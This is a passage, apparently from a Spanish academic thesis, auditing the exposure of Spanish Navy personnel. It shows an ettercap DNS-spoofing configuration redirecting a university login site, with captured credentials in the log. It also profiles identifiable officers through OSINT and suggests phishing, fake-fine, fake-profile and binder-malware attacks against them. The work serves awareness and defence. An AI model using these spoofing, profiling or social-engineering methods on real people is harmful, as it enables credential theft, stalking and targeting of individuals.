contrasefia. De esta forma, tras hacerlo por primera vez, obtendria un error en pantalla y seria
redireccionado a la pagina real, quedando en un hecho aislado como se puede ver a continuacion en la

Figura 3-7.

Applications +

AN OIS
Log into Facebook | Facebook - Mozilla Firefox [ O ~ )

& I3 Log into Facebook | F.. % | &

IR DPEIOY W itps://www.facebook.com/login. php) v | & |[®search | @& 4+ @

[ Most Visited v [l Offensive Security S Kali Linux " Kali Docs "% Kali Tools EMExploit-DB W Aircrack-ng

facebook saw:

Log into Facebook

Forgot account? - Sign up for Facebook

English (US) Espanol (Espana) Catala Frangais(France) Romana ltaliano Galego Deutsch Portugués (Brasil) aw,! EEEEED | 4

Sign Up Login  Messenger Facebooklite Mobile FindFriends  People Pages Places  Games Locations

Celebrifies Groups  Moments Instaaram About  Create Ad Create Page  Developers Careers Privacy  Cookies

Figura 3-7 Redireccion a pagina real.

Para solucionar el problema de la deteccion de la URL falsa, podriamos efectuar junto a este
ataque el proceso de desviar direcciones IP con “ettercap”®?. Sin embargo, no seria vélido para paginas
con HTTPS, pero si valido para paginas sin cifrado, como la pagina de Faitic (el servicio de

teledocencia de la Universidad de Vigo).

52 Herramienta que sirve como interceptor/sniffer/registrador para LANSs. Soporta direcciones activas y pasivas de

varios protocolos.
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El proceso de configuracion de “ettercap” se puede ver a continuacion en la Figura 3-8.

Applications + Places v Terminal + Sat 21:54
root@Kkali: ~
File Edit View Search Terminal Help
nano 2.6.3 File: /etc/ettercap/etter.dns Modified

#
GG G G GG G G G G G G s

e
# picrosoft sucks ;)
# redirect it to www.linux.org

faitic.uvigo.es A 192.168.1.108
*faitic.uvigo.es A 192.168.1.108
www.faitic.uvigo.es PTR 192.168.1.108
microsoft.com A 107.170.40.56
#*.microsoft.com A 107.170.40.56
= .microsoft.com PTR 107.1760.40.56 # Wildcards in PTR are not allowed

e
# no one out there can have our domains...

.alor.org A 127.0.0.1

B¢ Get Help @ Write Out g Where Is @ Cut Text @] Justify @@ Cur Pos
Exit M Read File g\ Replace |l Uncut Textgl] To Spell |gfl Go To Line |

(i [eab370621a19933b57¢9f591f621ef45] => 1\n',)
(")\n',)

Figura 3-8 Configuracion de “ettercap”.

ications v Places v @ Firefox ESR v Sat 22:01
Home - Mozilla Firefox e ® 0
 Home x | *
€ faitic.uvigo.es/index.php/en vEl| X ‘ w B8 ¥ A =
fii Most Visited v [l Offensive Security "\ Kali Linux "\ Kali Docs “\ Kali Tools EBExploit-DB Wy Aircrack-ng
%7 1 3 Servizo de
UniversidajVigo e
search... Search.
I — ——
User Name

probando

Forgot yo
Forgot o

Plaza Enric Miralles

Main Menu Campus Universitario 36310
e +34 986 811974
asiicos information about this service Rl
USERS
NEWS
FAQ Obradoir ‘Achégate &
RESOURCES |
,,,,,,,,,,,, W TEMA JALTADE g MANUALES
. =5 CURSOS-CONTENIDOS DOCUMENTACION
Connected to arpanet1957.com...

ma de acceso
kid Firefox automatically sends some data to Mozilla so that we can improve your experience. Choose What | Share| x

Figura 3-9 Acceso de prueba a la pagina de Faitic [71].
Cada vez que un usuario acceda a Faitic, “ettercap” capturara el trafico intercambiado y como

resultado sera posible obtener nombres de usuario y contrasefias. EI proceso de captura se puede ver en
la Figura 3-10.
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App[icatior{}v Places v [ Terminal =

root@kali: ~ (- IO <]
File Edit View Search Terminal Help
57 ports monitored
20388 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randomizing 255 hosts for scanning.
nning the whole netmask for 255
>| 100.00 %

>| 100.00 %
3 hosts added to the hosts list.

ARP poisoning victims:

GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Activating dns spoof plugin...

dns_spoof: A [www.faitic.uvigo.es] spoofed to [192.168.1.108]

dns_spoof: A [www.faitic.uvigo.es] spoofed to [192.168.1.1608]

dns_spoof: A [www.faitic.uvigo.es] spoofed to [192.168.1.108]

dns_spoof: A [www.faitic.uvigo.es] spoofed to [192.168.1.108]

HTTP : 193.146.32.238:80 -> INFO: http://www.faitic.uvigo.es/index.php/en/
CONTENT: username=probando&password=probandofinal&Submit=Log+in&option=com users&task=user.login&return=aW5kZXgu
cGhwPO10ZW1pZDOXMDM%3D&08e41a8b550eca3de3516d43447827d1=1

Figura 3-10 Resultado sobre Faitic.

Otra buena solucion para que no aparezca la direccion IP en la URL es el empleo de acortadores
de URL como “tinyurl” pero todavia muy lejos de la URL original a utilizar(Figura 3-11). Sin
embargo, cuando el usuario la introduzca y entre en la pagina, se observara que de nuevo en la URL
aparece la direccion IP. Asi la utilidad de dicho método esta en enviar el enlace por correo para que
alguien lo pulse y sea redireccionado a €él. Este método puede utilizarse tanto con HTTP como con
HTTPS.

» = 22:41 @ 100 % 0 #

http://tinyurl.com/faitic Cancelar

Figura 3-11 Probando con “tinyurl”.

3.1.3 ¢Por qué no hacer “DNS Spoofing ” en la red de Defensa?

La red interna de Defensa se asemeja mucho a la conexion de la Escuela Naval Militar. Sin
embargo, Defensa utiliza servidores DNS propios antes de realizar la peticion a servidores DNS
externos. Es decir, antes de buscar la IP en un servidor externo se consulta en uno interno para ver si
este nombre ya existe en la memoria caché.

La arquitectura de la red de Defensa y de los equipos dispone de una serie de politicas y medidas
para que este tipo de ataque no se pueda realizar:

e El usuario no es administrador del equipo ni del servidor, con lo cual no puede cambiar las
IP que apuntan al DNS interno en el equipo, ni tampoco puede cambiar la resolucién de
nombres de dominio.

e Si el usuario administrador de equipo hubiese sido comprometido se podria cambiar la
direccion del DNS interno, pero tendria que haber un servidor de DNS alternativo para
realizar el ataque. Esto ultimo resulta complejo pues habria que introducirlo en el dominio,
y para ello no basta con conectarlo a la red.
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Tras analizarlo, el funcionamiento de un servidor de nombres DNS en Defensa sera de la siguiente
forma:

e Si un usuario en una UCO (Unidad Centro u Organismo) “A” realiza una peticion, esta va
a su servidor local de nombres DNS. En el caso en el que dicha peticion no se pueda
responder, se reenvia a un nivel superior pudiéndose realizar saltos hasta llegar a servidor
principal de nombres DNS como se ve en la Figura 3-19. Sin embargo, puede suceder que
otro usuario de una UCO “B” no necesite hacer tantos saltos como el del anterior UCO.
Esto es debido a que las peticiones DNS de la segunda UCO sea resuelven en cualquiera de
los servidores existentes.

e De esta forma se comprende que la Unica forma de hacer un “DNS Spoofing”, es siendo
administrador del equipo o servidor o introduciendo algun tipo de malware el cual que
pueda escalar privilegios hasta llegar a administrador.

Ante todo lo expuesto anteriormente, por seguridad, para que un equipo pueda pedir a un servidor
DNS una resolucion IP de una pagina debe pasar al menos dos filtros de seguridad:

e Que el equipo debe estar en el dominio de Defensa. Para ello, el usuario necesita usuario y
contrasefia para entrar.

e Que la peticion a Internet de la pagina debe pasar por un proxy, por lo que debe tener
usuario y contrasefia para poder navegar.

3.2 “El sujeto”

3.2.1 Adquisicion de informacion del sujeto

Si se obtiene el nombre y usuario de un correo es posible realizar ataques para obtener informacion
confidencial. En este sentido, es importante resaltar los peligros de conectarse a un Wi-Fi abierto y
hasta qué punto puede el atacante infringir dafio en el atacado.

Para este desarrollo del trabajo se simularan las acciones, ya que se ha demostrado la capacidad de
robo de informacion a través de los distintos métodos citados.

De esta forma supongamos que el atacante ha podido acceder al correo electrénico del atacado.

Lo primero que hace el atacante es buscar informacion que le permita obtener mas informacion,
como correos de redes sociales, correos bancarios o facturas electrénicas.

Tras un andlisis, el atacante ha dado con un correo como el de la Figura 3-12.

RV: INVITACIONES [

De: Francisco . Rey Mendez
Enviado: midrcoles, 13 de julio de 2016 12:44
Para:

Asunito; INVITA

Adjunte archivo de invitaciones.

%
APARCAMIENTO
INVITADOS

@ wwarianane.. g

Figura 3-12 Correo interceptado a una victima.

Un correo con dominio militar enviado a un correo civil y de especial importancia, ya que en otro
de los mensajes se le relaciona como Oficial de la Armada Espafiola (mas adelante se demuestra). Esto
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lleva al atacante a realizar una exploracion de dicho correo. Para lo cual, al ser un correo de Gmail,
ayudado de la pestafia que permite mostrar mas informacion del correo se muestra el texto original
(Figura 3-13).

Entre los datos de interés, se observa una IP que no necesariamente es la del ordenador desde el
que se envio el correo. En este caso, la IP hace referencia al servidor de correo del Ministerio de
Defensa.

Otra de las opciones como atacante es analizar los metadatos que ese documento aporta. Tras
analizarlo con FOCA, la unica informacidn relevante es la fecha y el usuario que cre6 el documento.
Destaca que, en la actualidad, los unicos archivos de los que es posible obtener informacion relevante
de metadatos son aquellos archivos de los que no se ha modificado su estructura (subiéndolo a las
redes sociales o haciendo compresion sobre ellos).

Mensaje original

ID de mensaje TAASE16ETETEOG4508124ADDDECEE60021864 CEE SRECCEAMBWY -

Creado a las 13 de julio de 2016, 12:51 {entregado al cabo de 56 segundos)

De: ey - 0 e o5

Para - ity com® I |.com>

Asunto RV INVITACIONES

SPF PASS con :.!s-,». informacicn

Figura 3-13 Texto original del correo.

3.2.2 Informacion del sujeto utilizando herramientas de OSINT

Dentro del mensaje del apartado anterior se observa que el dominio corresponde al Ministerio de
Defensa y también la direccion IP desde la que se relaciona el correo. Con los datos obtenidos, IP,
nombre y dominio, procedemos a hacer uso de las herramientas de fuentes abiertas. Asi, cuantos mas
datos iniciales se tenga de la victima mejores resultados arrojara la busqueda.

La aplicacion Foca no encuentra informacion relevante en el mismo. Se utiliza Maltego sobre los
datos y arroja la siguiente informacion de la Figura 3-14.

Figura 3-14 Exploracién entorno al sujeto.
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Mediante el analisis de los resultados, se puede observar que:

En el primer nivel, se ha colocado al sujeto como Oficial de las Fuerzas Armadas, siendo
esto una hipétesis basada en correos que como atacante se han interceptado. No es del todo
errobneo comenzar una busqueda por la realizacion de una hipotesis, aunque se tiene que
desarrollar y demostrar.

Para facilitar las busquedas, se afiade la direccion IP, que es informacion adquirida a través
del correo.

Al desarrollar las transformaciones sobre ambos (militar-persona y direccion IP), la
informacion arrojada es resefiable. La herramienta indica que este usuario tiene cuenta de
SKYPE (indicando su nombre de usuario) y cuenta en la red social Facebook, que
posteriormente desarrollamos para ver hasta qué punto la estructura de seguridad que el
propio usuario le da a su red social es vulnerable.

En el segundo nivel, también se puede ver que se le relaciona con la Escuela Naval Militar,
despejando la duda de si es un Oficial de las Fuerzas Armadas. Ademas, se puede apreciar
el nimero de ingreso en la Armada Espafiola. Cabe destacar que, al salir en el Boletin
Oficial del Estado y estar colgado en la red, dicha informacién es de dominio publico y
puede utilizar cualquier usuario de la red.

En el tercer nivel podemos observar los datos mas relevantes. Entre los cuales, destacar el
namero de DNI con letra (objeto que puede ser facilmente utilizado para la realizacion de
un ataque de ingenieria social). Aun asi, debido a la informatizacion de la informacion, a
dia de hoy es posible saber introduciendo el DNI si el usuario atacado tiene multas de
coche como se puede ver en la Figura 3-15.

vo se ha localizado ninguna multa con este dni

Figura 3-15 Localizador de multas del sujeto.

Con la informacion obtenida y utilizando las distintas fuentes abiertas, como Google, podemos
basarnos en una multa para efectuar un ataque de ingenieria social para obtener el nimero de cuenta de
la victima, asi como una compensacion econémica u otros fines.

Antes de hacer cualquier accion que pueda destapar los fines perseguidos, es necesario elaborar un
correo cuya apariencia tenga credibilidad suficiente para que la victima caiga en la estafa.

Citamos para este caso la noticia “La estafa (africana) a Luis con la falsa herencia de un tio muerto
en China” en la que el atacante se aprovecha de la informacion obtenida del objetivo para, ayudado de
los principios de ingenieria social, se lleve a cabo el ataque. La Figura 3-16 muestra una prueba de
coémo podria hacerse un ataque de ingenieria social.
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Figura 3-16 Ejemplo de multa falsa al sujeto.

En esta prueba, los campos de fecha, hora, nimero de expediente, lugar de la denuncia, hecho a
notificar, asi como los datos del interesado han sido realizados por el atacante. Este ejemplo se ha
llevado a cabo debido a la gran cantidad de individuos que muestran sus denuncias en la red, las cuales
han servido como base para la realizacion de la misma. El proceso de conseguir los datos del coche
puede ser:

¢ Realizando otro ataque de ingenieria social en el que nos hariamos pasar por alguna
entidad adjunta a la DGT que pide datos del usuario, como el asegurador del seguro del
coche de la victima. si se le notificase algin problema con el coche del usuario, este mismo
tenderia a solucionarlo (basdndonos en los principios de ingenieria social).

e Otra manera, que seria la mas sencilla de realizar, trataria de pedir un informe a la DGT en
el que Unicamente se tiene que abonar unas tasas para poder acceder a dicha informacién.

e Por ultimo, otra forma, la cual se realizaria fisicamente, implicaria conocer la identidad del
atacado, y, sobre este, realizar un trashing® o bien realizar una vigilancia donde se sepa
que el atacado trabaja.

Como se puede ver, las alternativas son multiples y todas y cada una de ellas valida.

Ademas de ser utilizado como ataque de ingenieria social se puede aumentar el nivel en lo que a
complejidad se refiere. Esto va a consistir en que, en lugar de enviar el documento y esperar una
respuesta del atacado (la cual puede que nunca se llegue a producir), podemos hacer que una vez que
el atacado abra el documento se ejecute un archivo autoejecutable (malware). Con ello se crearia una
puerta trasera (backdoor) en el sistema. Este ejemplo se ha sido probado y se muestra mas adelante.

Una de las ventajas que este sistema conlleva es que no establece una comunicacion bidireccional.
Esto se debe a que hay que esperar la respuesta del atacado para obtener sus datos. Con el segundo
método se puede acceder a la maquina de la victima y obtener toda la informacion que tenga en su
sistema.

Se trata de una practica ilegal, y, en funcion del tipo exploit y payload puede ser detectable por
algln antivirus.

53 Obtencidn sin autorizacion de informacion privada a partir de la recuperacion de archivos, documentos, directorios
e, incluso, contrasefias que el usuario ha enviado a la papelera de reciclaje de su equipo.
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Una manera de realizarlo es mediante la utilizacion de la herramienta SET. Esta herramienta
permite la realizacion de ataques, y, en el caso de que queramos efectuar un proceso mas elaborado, es
posible utilizar distintos encoders®.

Durante este proceso podemos ayudarnos de paginas que indican si los malwares son detectables.
Debemos tener en cuenta al realizarlo que, si se sube un archivo a una pagina, como
https://www.virustotal.com lo analiza, pero, al analizarlo, vierte a la red las cabeceras identificadoras
de los virus. Asi si el atacado actualiza la base de datos de virus, se detecta el malware, haciendo que
salten las alarmas de los antivirus.

Otra solucion mas efectiva pero que escapa a las competencias de este trabajo es la utilizacion de
software tipo RAT (Remote Access Trojan) como TheFatRat, que corre sobre cualquier distribucion de
Linux. Este software permite la creacion de un RAT, cuya principal utilidad radica en la utilizacion de
un servidor, donde se vierte la distinta informacion obtenida. Este método es mas seguro y menos
detectable que las soluciones ofrecidas por SET, ya que los payloads de esta herramienta se encuentran
identificados en la mayoria de las bibliotecas de los principales antivirus conocido.

Si se desea hacer el experimento sobre Windows existen distintos softwares cuya funcionalidad es
similar. Al tratarse de software que corre sobre Windows las limitaciones del usuario serdn mayores
que las de Linux. En cualquier caso, por ahora, nos centramos en la informacion que podemos obtener
del usuario atacado.

A partir de la direccion IP, la informacion adquirida es abundante, por lo que hay que hacer una
sintesis de la informacion obtenida. Los datos que se observan en la Figura 3-17 son diversos.
Destacan el servidor al que redirecciona, el controlador del nodo, los teléfonos y la posicion fisica del
servidor.

+34 091 395 4368 +34 091 395 4317 (!.\‘\’ (i\’ (—6\‘\’ 9

Figura 3-17 Exploracion entorno a la IP del correo.

A través de Maltego se analiza la imagen de la Figura 3-17.En ella, se sigue corroborando que el
usuario pertenece al Ministerio de Defensa, y arroja informacién de localizacion de los servidores

54 Programa utilizado para convertir una informacion de un formato a otro.
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utilizados. En este caso, la informacion de los servidores no es de gran utilidad, pero lo puede ser en el
caso de investigar a una pequefia empresa o similares.

Otra informacion de caracter destacable es que la herramienta indica los controladores del nodo,
incluso sus posibles teléfonos de contacto. Entre estas personas fisicas identificamos a sujeto nimero
69 y sujeto numero 88, de los que se habla mas adelante.

Como curiosidad de esta transformacion (de la que se ha eliminado mucha informacion con el fin
de no caer en la infoxicacién), cabe puntualizar la transformacion que nos lleva a la pagina de
“forocule”. Como curiosidad, su tema de conversacion en una de sus publicaciones versa sobre la
deteccidn de intrusion en su foro de una IP proveniente del Ministerio de Defensa como se puede ver
en la Figura 3-18 . Esto demuestra que cualquier usuario puede realizar los pasos hasta ahora citados.

T C | @ www.forocule.net
Eii@ blaugrana al vent
>

e

\‘4

{sindice [CPartal 4 Registrarse (I Canectarse

NOS ESPIAN...

VARIOS :: POLITICA

Figura 3-18 Conversacion "forocule™ [72].

Mediante el estudio de las transformaciones se obtiene incluso la forma en la que se encuentra
estructurado el Ministerio de Defensa, en lo que a disposicion de servidores se refiere. Como
curiosidad, destacan los dos servidores de correo (Figura 3-19). Esto se puede deber al enorme
volumen de correos que gestiona o como elemento de apoyo en caso de necesidad.

MX A_A
oc.mde.es |y |SmtpOl.mde.es g o |193.33.2.97

l—-\-\

smtp02.mde.es g g |193.33.2.98

= 193.33.2.0/24 = AS42211
t_|Internet Access Routes of MDE MDE-AS

Figura 3-19 Estructura red de Defensa.

Destaca también que la informacion vertida por la herramienta Maltego se puede conseguir a
través de https://www.ripe.net accesible en linea (solo ofrece informacion de la IP).
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3.3 Estudio del entorno del sujeto

El desarrollo de las herramientas de OSINT, permite analizar al sujeto de estudio y su entorno. Lo
que se consigue es aumentar la informacidon del sujeto facilitando la intrusion en su entorno.

Las redes sociales han sido el vector esencial para dicho estudio. En la actualidad, existen
aplicaciones para estudiar paginas de dichas redes sociales, estableciendo relaciones entre todos los
usuarios que pertenecen a esta. Esto es otro condicionante para continuar el estudio, tanto del sujeto
como de su entorno.

En el caso del sujeto de estudio, se observo que usaba la herramienta de SKYPE. En este caso es
una informacion poco util, a no ser que el ataque vaya dirigido a través de dicha plataforma y se utilice
para acercarse a la victima. En la actualidad, la utilizacion de esta herramienta es menor entre los
usuarios que unos afios atras. Un buen elemento de estudio son las transformaciones que se pueden
hacer sobre la red social Facebook, ya que el sujeto de estudio no cuenta con la privacidad y seguridad
necesaria para su proteccion y la de su entorno.

Durante el presente trabajo en el que se ha realizado un minucioso estudio de las distintas redes,
cabe sefialar la enorme cantidad de datos de caracter personal o incluso hasta cierto punto privado que
los usuarios, relacionados con el sujeto inicial de estudio, han vertido a las distintas redes sociales.

Es interesante e importante destacar como la “sociedad de la informacion” ha desarrollado sus
potenciales hasta tal extremo que, en muchos de los casos la privacidad y la seguridad es
practicamente nula.

En la transformacion llevada a cabo se muestran Unicamente los contactos relacionados con el
sujeto, pero, como atacante y en lo que a trabajo de investigacion se refiere, Gnicamente nos centramos
en los objetivos de caracter militar.

Durante la realizacion del presente trabajo se observa y analiza que los usuarios mostrados a
continuacion no solo violan su propia seguridad, asi como su propia privacidad. Muchos ellos pueden
poner en evidencia la imagen de las Fuerzas Armadas, asi como poner en peligro a sus familiares,
allegados o contactos mas cercanos.

Relacionado con lo citado, recordamos la filtracion por parte de un grupo de hackers del ISIS, en
la que se llevé a cabo el vertido a la red de datos de caracter personal de miembros oficiales generales
y comandantes del ejército de los Estados Unidos. La Figura 3-20 muestra el mapa social del atacado,
Unicamente obtenido a través de la plataforma Facebook.

Mediante el anélisis de la red, destaca que esta formada por un total de 28 miembros de las Fuerzas
Armadas (los cuales son identificables o se reconocen como tal a través de redes sociales). Sobre estos
somos capaces de obtener informaciones tales como teléfonos mdviles, comentarios sobre productos
comprados en la red, direcciones de correo, alias, direcciones de sus residencias, junto con teléfonos
fijos, informacion sobre su estado civil, aficiones y, sobre todos ellos, su nimero de DNI.
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Y wwwDoe es
\

Figura 3-21 Entorno militar del sujeto de estudio.

Sobre estos se puede incluso ver sus perfiles en otras redes sociales, de las cuales su nivel de
seguridad sera bajo dentro de los estandares de seguridad que ofrecen estas plataformas.
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De la Figura 3-21 destaco la relacion que guardan la mayoria de los contactos de la victima con las
publicaciones del Boletin Oficial del Estado, pudiendo destacar de esta que todos aquellos que
aparecen en la misma publicacion del Boletin se les encuadra en la misma promocion de oficiales.

También se destaca de estos el uso de SKYPE, desde donde se puede obtener el lugar de
residencia, aunque en la mayoria de los perfiles investigados son los propios usuarios los que facilitan
esta informacion.

Cabe destacar de la auditoria de los perfiles realizada, la falta de concienciacion respecto del
material que el personal de Fuerzas Armadas tiene subida a la red. Se deber recordar que la red es
accesible para todos los usuarios, sean 0 no contactos conocidos. Ademas de la posible mala imagen
que se pueda dar de las Fuerzas Armadas, la exposicion en redes sociales de informacién personal, o
enaltecimiento del pensamiento politico-ideoldgico y religioso son hechos que pueden ir en contra de
las Fuerzas Armadas.

A continuacién, se cita informacion relevante de distintos sujetos y ejemplos de ataques que se
podrian realizar sobre ellos.

3.3.1 Sujeto 1

Del sujeto 1 deducimos que se trata de un Oficial de la Armada Espafiola y se puede obtener hasta
la especialidad del mismo. Es un piloto de avion. Entre otra informacién, podemos obtener las
aficiones del mismo, su DNI y sus cuentas de Twitter, SKYPE y Google Plus.

Figura 3-22 Ejemplo indecoroso sujeto 1.

Debido a la confidencialidad que ha de darse a la imagen (Figura 3-22) no se muestra la imagen
real pero se puede observar al sujeto con el uniforme de vuelo y los pies encima de la mesa, y con el
galon de empleo en el parche de pecho, junto con nombre y grupo sanguineo del mismo.
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Figura 3-23 Rasgos faciales y pre vuelo del sujeto 1.

Mediante el estudio sobre las imégenes obtenidas, la conclusion a la que se puede llegar, es que
puede ser un posible blanco de ingenieria social, al reflejarse el mismo usuario como piloto de la
Armada Espafiola en la red. Un atacante, lo primero que haria seria ver donde tiene la base el arma
aérea de la Armada. Tras esto y debido a la facilidad de informacion gréafica del sujeto, se le podra
reconocer facilmente a través de las fotos.

La forma mas efectiva demostrada durante los Gltimos afios [73] ha sido la elaboracion de perfiles
falsos en redes sociales haciendo que soldados israelies cayeran en diversas trampas planteadas por el
grupo terrorista HAMAS®® con el fin de obtener informacion confidencial de los mismos. En el caso de
este usuario, por su margen de edad, las principales plataformas seran Facebook, Twitter, Instagram. Si
hubiese que acercarse a dicho usuario, sabiendo donde poder encontrar al objetivo, situandonos en las
cercanias de la base de Rota, se podria utilizar “Tinder ” (aplicacion destinada a la busqueda de pareja)
con un perfil falso (en el caso de que no tuviera pareja) 0, como entusiasta de los aviones, ofreciéndole
empleo o realizacion de una exhibicion aérea.

De esta forma, con un perfil falso en una red social, se intentaria ganar la confianza de la victima.
Ademas, como ya sabemos la plataforma que utiliza el usuario, al menos la plataforma mévil obtenida
mediante la herramienta “Creepy ”, se podra disefiar un malware ajustado al mismo con el fin de ser
introducido en la plataforma objetivo. De la Figura 3-24 podemos deducir que el uso que este usuario
le da a Twitter es escaso y que lo hace desde web o desde iPhone.

User has been using the following clients :
Client Application Count
Twitter Web Client 5]

Twitter for Websites 3

Mobile Web (M2) 2

Twitter for iPhone 1
Figura 3-24 Plataformas desde las que se usa Twitter.

El método de ataque més recomendable seria enviar a la victima un archivo con extensién .pdf,
.doc o0.jpg que usando un binder (pequefio programa que une dos archivos en uno con archivo
ejecutable).

55 Grupo terrorista que lucha por la imposicién de un estado islamico en palestina.
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Es resefiable, después de analizar al sujeto la Ley Organica 8/2014, de 4 de diciembre, de Régimen
Disciplinario de las Fuerzas Armadas, que clasifica de falta grave en su punto 27 todos aquellos actos
que dafien la imagen de las Fuerzas Armadas.

3.3.2 Sujeto 2

Del sujeto 2 se deduce que se trata de un Oficial de la Armada Espafiola y podemos obtener la
especialidad del mismo. Es un piloto de helicopteros (Figura 3-25).

ctualizado su foto del perfil

Figura 3-25 Fotografia de perfil de Facebook.

Como se ha comentado, en muchas ocasiones ciertas imagenes vertidas a redes sociales hacen que
no solo se deje en entredicho la imagen de las Fuerzas Armadas, sino que, informacion, con grado de
confidencialidad, se expongan en la red.

Figura 3-26 Fotografia de portada de Facebook (nacional secreto).

En la Figura 3-26, se puede ver el tablero instrumental de un helicoptero de la Armada Espafiola,
cuya clasificacion de seguridad en este caso es secreto. Dicha informacion podria ser utilizada para
realizar un sabotaje sobre el aparato, chantaje sobre el piloto o similares. Como el ejemplo anterior, los
pilotos de la Armada manejan cierta informacion que, por su grado de confidencialidad, requieren un
especial cuidado a la hora de ser manipuladas.
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Debido a la franja de edad que se le estima al usuario (mediante el BOE.), la forma de acceder al
usuario seria la misma que la citada en el ejemplo anterior.

3.3.3 Sujeto 3

El sujeto 3, es un Oficial, cuyo fallo de seguridad ha sido verter a las redes sociales los puertos por
los que ha pasado o iba a pasar su barco (en este caso una fragata). Destaca que dichos mensajes

(Figura 3-27) van con fecha y hora. En vista a un sabotaje se podria calcular la llegada y la salida del
barco.

.—L

Catania (Sicilia) Ultimo puerto antes del
regreso a casa.

.—L

TANZANIA...A LA VUELTA DE LA ESQUINA.

I ¢
Dejo atras las Seychelles....a currar againlll

Figura 3-27 Derrota de su buque publicada en Facebook.

Mediante la exploracion de las fotos, es posible ver quién son sus familiares y podemos verlo con
el uniforme (y nombre en la uniformidad). Esto corrobora que sus apellidos son los que corresponden
con su perfil y corrobora el empleo del mismo.

Resulta oportuno destacar el mensaje de un soldado israeli en 2010 a través de Facebook en el que
cito su contenido: "Limpiaremos Katana y el jueves volveremos a casa"; Katana es un pequefio pueblo
cercano a Ramala (Cisjordania) [43]. Por dicho motivo, se tuvo que suspender la operacion que iba a
llevar a cabo por el ejército israeli.

En este caso, desvelar la posicion de una unidad puede producir, que haya que realizar un cambio
de puerto precipitadamente debido a que se pueda poner en riesgo a dicha unidad.

3.3.4 Informacion de otros sujetos adyacentes

Llegados a este punto de exploracion del entorno del sujeto, cabe destacar la cantidad de
informacion que se ha podido obtener de forma aislada. Es decir, se ha encontrado informacion de los
sujetos del entorno, pero no la necesaria para poder ser desarrollado como sujeto aparte. En cualquier
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caso hemos querido destacar la informacion susceptible de sufrir un ataque, adjuntando el
razonamiento y el porqué de realizar dicho ataque.
B

€

La rotonda provisional ya no existe! (10 afios 0 mas
después)

< Compartir
O:
No me lo

creooooooo!iiin
a de 201 Compartir

Paginas sugeridas Ver todas
\ Soldados de Esparia

ils Me gusta

Figura 3-28 Fotografia obtenida del Facebook del sujeto.

La Figura 3-28 es una foto que puede pasar desapercibida, en la que el usuario denuncia un hecho
en su ubicacidn. Esta imagen arrojaria informacion de interés para un atacante.

Si se observa bien y se analiza la fotografia, somos capaces de percibir el pase de un coche en el
reflejo del cristal. También observamos, que la fotografia esta tomada desde el lado del conductor, por

lo que es muy probable que el pase que se refleja en el cristal sea del mismo sujeto que esté realizando
la fotografia.

Al ser un reflejo, se ve que la imagen esta dada la vuelta, el atacante realizaria una depuracion de
la imagen para obtener el resultado de la Figura 3-29:

Figura 3-29 Pase de la Base Naval de Rota.

Un atacante tendria la informacién de la matricula del coche del sujeto a atacar y la utilizaria para
conocer la identidad de su coche. Sabiendo esto, se puede relacionar un coche con una matricula y
puede ser utilizarse para futuros ataques sobre el individuo, ya que también conocemos su DNI vy,
mediante sus fotos, su apariencia fisica.

Otra informacion, que la busqueda en fuentes abiertas nos vuelca sobre este ultimo individuo es
los posibles gustos, ya que se pueden encontrar a traves de la pagina de Amazon (Figura 3-30)
distintos comentarios suyos, que como atacante se puede utilizar para aproximar a la victima.
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B REBAJAS )

\ custa

amazon.
Micuenta - Premum - Gessos

Gepartamentos -

Figura 3-30 Comentarios en Amazon.

Como el sujeto ha compartido comentarios en Amazon (Figura 3-31), se puede falsear la
informacion para enviarle una encuesta sobre un producto o calificar su comentario de provechoso una
empresa ficticia y querer recompensar a la victima ofreciéndole cualquiera de sus productos. Para esto
ualtimo, le pediria que corrobore los datos de recepcion con el fin de que acceda a proporcionar la suya.

Revisado

BQ Aguaris A4.5 - Smartphone de 4.5 pulgadas (WiFi, Bluetooth 4.0, GP'S, Quad
Core Cortex A53 1 GHz, 16 GB de memoria interna, 2 GB de RAM, Android 5.1

Lollipep). coler negro

Buen movil y barato

2016-11-24
E= un mdévil barato pero petente y rapide. De vez en cuande hace alguna cosa rara con el desbloguec de pantalla. pere por

lo demas muy bien

Revisado

Sin titule

lle-{@IBIB

57 Buena proteccion

2016-11-24
No es oficial de la casa bg pero se ajusta perfectamente a |a pantalla v |a protege bien, probada con algun golpe involuntario

Figura 3-31 Comentarios en Amazon.
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L Direccién

Want this public information removed?

AMap QTierra & Calle
k

e Arousa, Pontevec

, Espafia

40%

PARA JUEVES O VIERNES

Figura 3-32 Direccién de la vivienda.

Como se puede apreciar en la Figura 3-32, se tiene la direccion de la vivienda de uno de los sujetos
del entorno, Un Oficial de la Armada Espafiola y, antiguo comandante de un patrullero de la Armada
Espafiola (informacion asequible a través de BOD).

Al tener la localizaciéon de un comandante de un barco, se puede pensar cualquier tipo de ataque
pues ya se tiene mucha informacion sobre el atacado, del que sabemos, localizacién de su vivienda,
empleo, nombre de la esposa, familia, DNI, asi como sus ultimos destinos.

Llegados a este punto, destacamos que informacion parecida vertida a la red sobre otros
componentes de las Fuerzas Armadas ha propiciado ciertas complejidades en zona de operaciones,
tales como falsos secuestros de personal de Fuerzas Armadas.

El hecho de que este tipo de informacién sea asequible por fuentes abiertas hace que no solo el
comandante de la Unidad se encuentre en peligro, sino que la propia unidad se encuentre también en
peligro. De esta forma, se puede aprovechar un despliegue de la unidad para chantajear con infringir
dafio a la familia del mismo o amenazar a la misma. Esto hara que el éxito de la mision se pueda
comprometer, asi como la propia unidad y sus integrantes.

3.3.5 Sujeto 88 y sujeto 69

Ambos dos son los encargados y controladores de la red del Ministerio de Defensa. En este caso,
llevamos a cabo un pequefio estudio sobre ellos, ya que el puesto que desempefian tiene cierto caracter
“comprometido” debido a que, el control de la red del Ministerio de Defensa es un hecho que hace que
ambos individuos tengan la responsabilidad de esta (al menos juridica). Asi, la red en la que van a ser
explorados por su presumible margen de edad es LinkedIn.

e Sujeto 88: Se aprecia segin la herramienta Maltego que carece de cualquier tipo de
relacién con las redes sociales al menos utilizando su nombre real, lo cual seria una medida
positiva para cualquier miembro e integrante de las Fuerzas Armadas, aunque no se puede
decir con total certeza que este sujeto sea miembro de las Fuerzas Armadas, o que la
procedencia del mismo no sea a través del procedimiento de escuelas oficiales (se sabe que
lo es porque fue corroborado por el CIFAS).
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Figura 3-33 Exploracion del sujeto 88 a través de Maltego.

Los teléfonos que se reflejan en la Figura 3-33 son los que se pueden obtener de la red del
Ministerio de Defensa y que sirven de contactos con los mismos.

